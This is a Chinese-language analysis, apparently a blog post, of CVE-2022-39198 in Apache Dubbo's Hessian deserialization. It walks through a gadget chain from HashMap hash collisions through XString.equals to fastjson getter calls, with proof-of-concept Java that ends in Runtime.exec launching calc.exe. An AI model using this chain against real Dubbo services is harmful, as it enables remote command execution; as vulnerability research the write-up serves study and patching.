前言 无。
漏洞影响 2.7.x < version < 2.7.18
3.0.x < version < 3.0.12
3.1.x < version <= 3.1.0
环境搭建 使用IDEA新建项目,并添加dubbo依赖:
1 2 3 4 5 <dependency > <groupId > org.apache.dubbo</groupId > <artifactId > dubbo</artifactId > <version > 2.7.16</version > </dependency >
可以看到dubbo同时还依赖了fastjson。
再写一段Hessian序列化和反序列化的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public static byte [] serialize(Object o) { byte [] bytes = null ; try { ByteArrayOutputStream bos = new ByteArrayOutputStream (); HessianOutput ho = new HessianOutput (bos); ho.writeObject(o); bytes = bos.toByteArray(); }catch (Exception e) { e.printStackTrace(); } return bytes; }public static Object unserialize (byte [] bytes) { Object o = null ; try { ByteArrayInputStream is = new ByteArrayInputStream (bytes); HessianInput hi = new HessianInput (is); o = hi.readObject(); }catch (Exception e) { e.printStackTrace(); } return o; }
漏洞分析 首先JDK中存在一个XString类,可以通过反序列化HashMap触发其equals函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public boolean equals (Object obj2) {if (null == obj2) return false ; else if (obj2 instanceof XNodeSet) return obj2.equals(this );else if (obj2 instanceof XNumber) return obj2.equals(this );else return str().equals(obj2.toString()); }
可以触发某一个对象的toString函数,类似BadAttributeValueExpException。
而在dubbo的fastjson依赖中,存在一个类com.alibaba.fastjson.JSON,其toString函数会调用toJSONString函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public String toString () { return this .toJSONString(); }public String toJSONString () { SerializeWriter out = new SerializeWriter (); String var2; try { (new JSONSerializer (out)).write(this ); var2 = out.toString(); } finally { out.close(); } return var2; }
这里会发生从对象到字符串的序列化过程,一般理性而言会访问该对象的getter们。
JSON是一个抽象类,所以实际使用的时候要使用其子类JSONObject。简单测试一下:
1 2 3 JSONObject jsonObject = new JSONObject (); jsonObject.put("xx" , new Test ()); System.out.println(jsonObject.toString());
一路来到MapSerializer的write函数,该函数会遍历JSONObject的内部Map元素开始序列化,关键代码如下:
1 preWriter.write(serializer, value, entryKey, null , features);
此时获取到的writer为JavaBeanSerializer,其write函数中会调用getter们:
1 2 3 4 5 6 7 8 9 10 propertyValue = fieldSerializer.getPropertyValueDirect(object);Object fieldValue = fieldInfo.get(object);return method != null ? method.invoke(javaObject) : field.get(javaObject);
可以看到,JSONObject.toString确实会调用一个对象的getter,所以这个漏洞其实是将一个Hessian反序列化漏洞递进到一个getXXX函数调用。
不过存在一个问题,由于使用的是Hessian反序列化,所以这个getXXX函数调用的主体必须是一个可序列化的对象。
参考文章使用UnixPrintServiceLookup对象作为最后的命令执行触发点,该函数的getDefaultPrinterNameBSD函数会调用execCmd函数,execCmd函数中会有一个Runtime.getRuntime().exec()的命令执行点。此外,参考文章在测试环境中还设置了AllowNonSerializable,让UnixPrintServiceLookup这个不可序列化的对象可以正常使用。
修改一下序列化,加上两行:
1 2 3 4 5 6 ByteArrayOutputStream bos = new ByteArrayOutputStream ();HessianOutput ho = new HessianOutput (bos); ho.setSerializerFactory(new SerializerFactory ()); ho.getSerializerFactory().setAllowNonSerializable(true ); ho.writeObject(o); bytes = bos.toByteArray();
反序列化中不用加,看来Hessian只在序列化时检查可序列化,在反序列化时不会检查。
然而在我的Windows环境下,似乎没有UnixPrintServiceLookup这个类,随便写个测试用类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class Test { private final int cmdIndex = 0 ; private final String osname = "xx" ; private final String[] lpcFirstCom = new String []{"cmd.exe" , "/c" , "calc.exe" }; public String[] getDefaultPrinterNameBSD() { System.out.println("Pwn!" ); try { Runtime.getRuntime().exec(lpcFirstCom); }catch (Exception e) { e.printStackTrace(); } return lpcFirstCom; } }
要从HashMap之类的地方触发equals函数,要求hashCode相等。这里就要用到一个神奇的知识点了:
这两个字符串虽然不一样,但是它们的hashCode是一样的。也就是说,如果我们构造这样的两个成员相同但是key和value相反的HashMap:
1 2 3 4 5 6 HashMap map1 = new HashMap (); map1.put("yy" , jsonObject); map1.put("zZ" , xString);HashMap map2 = new HashMap (); map2.put("yy" , xString); map2.put("zZ" , jsonObject);
由于HashMap的hashCode计算方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 public int hashCode () { int h = 0 ; Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) h += i.next().hashCode(); return h; }public final int hashCode () { return Objects.hashCode(key) ^ Objects.hashCode(value); }
即key ^ value之后加在一起,那么map1和map2的hashCode就是一样的。
如果用一个更大的HashMap以这两个HashMap为键,那么就会因为hashCode相同,触发equals函数,HashMap之间的equals函数关键部分如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } }
简单来说就是会使用equals函数对比相同键下的value,如此一来构造的key和value相反的HashMap就能触发XString.equals(JSONObject),最后的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 JSONObject jsonObject = new JSONObject ();XString xString = new XString ("xx" ); jsonObject.put("xx" , new Test ());HashMap map1 = new HashMap (); map1.put("yy" , jsonObject); map1.put("zZ" , xString);HashMap map2 = new HashMap (); map2.put("yy" , xString); map2.put("zZ" , jsonObject);HashMap bigMap = new HashMap (); bigMap.put(map1, 1 ); bigMap.put(map2, 2 ); unserialize(serialize(bigMap));
参考 CVE-2022-39198 Apache Dubbo Hession Deserialization Vulnerability Gadgets Bypass
ByteCodeDL小试牛刀之CHA调用图分析